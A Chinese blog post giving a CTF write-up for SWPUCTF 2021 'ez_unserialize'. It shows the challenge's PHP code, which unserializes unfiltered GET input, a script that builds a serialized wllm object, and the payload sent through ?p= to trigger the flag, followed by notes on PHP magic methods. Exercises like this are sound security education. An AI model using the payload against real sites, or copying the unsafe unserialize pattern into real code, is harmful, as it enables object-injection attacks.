Post

SWPUCTF 2021 新生赛 ez_unserialize

高中时期在NSSCTF上刷题的题解

SWPUCTF 2021 新生赛 ez_unserialize

[SWPUCTF 2021 新生赛]ez_unserialize lamaper的WriteUp

[SWPUCTF 2021 新生赛 ez_unserialize lamaper的WriteUp NSSCTF](https://www.nssctf.cn/note/set/374)

知识点:robots.txt、php反序列化漏洞

进入环境,没有给出任何提示,不知道题目要求干什么,使用后台扫描工具(御剑后台扫描、dirmap等)可以看到存在一个robots.txt;

关于robots.txt,robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。 但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照。 如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots元数据(Metadata,又称元数据)。

从robots文件中得知存在/cl45s.php,遂进入该目录下打开该文件,获得代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

可以看到类wllm中,__destruct()方法被重写,需要修改类成员变量内部值来获取flag,因为__destruct()方法是在对象被销毁是调用,由此我们先创建一个对象,给其成员赋值然后进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
$aa = new wllm();
$aa->admin = "admin";
$aa->passwd = "ctf";
$stus = serialize($aa);
print_r($stus);
?>

得到序列化的结果

1
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

将结果传入/?p=O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}

最后得到flag

什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

PHP魔术方法

魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
1__get__set

这两个方法是为在类和他们的父类中没有声明的属性而设计的

__get( $property ) 当调用一个未定义的属性时访问此方法

__set( $property, $value ) 给一个未定义的属性赋值时调用

这里的没有声明包括访问控制为proteced,private的属性即没有权限访问的属性

2__isset__unset

__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法

__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法

与__get方法和__set方法相同这里的没有声明包括访问控制为proteced,private的属性即没有权限访问的属性

3__call

__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4__autoload

__autoload 函数使用尚未被定义的类时自动调用通过此函数脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类

注意:  __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误

5__construct__destruct

__construct 构造方法当一个对象被创建时调用此方法好处是可以使构造方法有一个独一无二的名称无论它所在的类的名称是什么这样你在改变类的名称时就不需要改变构造方法的名称

__destruct 析构方法PHP将在对象被销毁前即从内存中清除前调用这个方法

默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.析构函数允许你在使用一个对象之后执行任意代码来清除内存当PHP决定你的脚本不再与对象相关时析构函数将被调用.

在一个函数的命名空间内这会发生在函数return的时候对于全局变量这发生于脚本结束的时候如果你想明确地销毁一个对象你可以给指向该对象的变量分配任何其它值通常将变量赋值勤为NULL或者调用unset

6__clone

PHP5中的对象赋值是使用的引用赋值使用clone方法复制一个对象时对象会自动调用__clone魔术方法如果在对象复制需要执行某些初始化操作可以在__clone方法实现

7__toString

__toString方法在将一个对象转化成字符串时自动调用比如使用echo打印对象时如果类没有实现此方法则无法通过echo打印对象否则会显示Catchable fatal error: Object of class test could not be converted to string in此方法必须返回一个字符串

在PHP 5.2.0之前__toString方法只有结合使用echo()  print() 才能生效PHP 5.2.0之后则可以在任何字符串环境生效例如通过printf()使用%s修饰符), 不能用于非字符串环境如使用%d修饰符

从PHP 5.2.0如果将一个未定义__toString方法的对象 转换为字符串会报出一个E_RECOVERABLE_ERROR错误

8__sleep__wakeup

__sleep 串行化的时候用

__wakeup 反串行化的时候调用

serialize() 检查类中是否有魔术名称 __sleep 的函数如果这样该函数将在任何序列化之前运行它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组

使用 __sleep 的目的是关闭对象可能具有的任何数据库连接提交等待中的数据或进行类似的清除任务此外如果有非常大的对象而并不需要完全储存下来时此函数也很有用

相反地unserialize() 检查具有魔术名称 __wakeup 的函数的存在如果存在此函数可以重建对象可能具有的任何资源使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务

9__set_state

当调用var_export()这个静态 方法会被调用自PHP 5.1.0起有效)。本方法的唯一参数是一个数组其中包含按array(property => value, )格式排列的类属性

10__invoke

当尝试以调用函数的方式调用一个对象时__invoke 方法会被自动调用PHP5.3.0以上版本有效

11__callStatic

它的工作方式类似于 __call() 魔术方法__callStatic() 是为了处理静态方法调用PHP5.3.0以上版本有效PHP 确实加强了对 __callStatic() 方法的定义它必须是公共的并且必须被声明为静态的

同样__call() 魔术方法必须被定义为公共的所有其他魔术方法都必须如此

#####

This post is licensed under CC BY 4.0 by the author.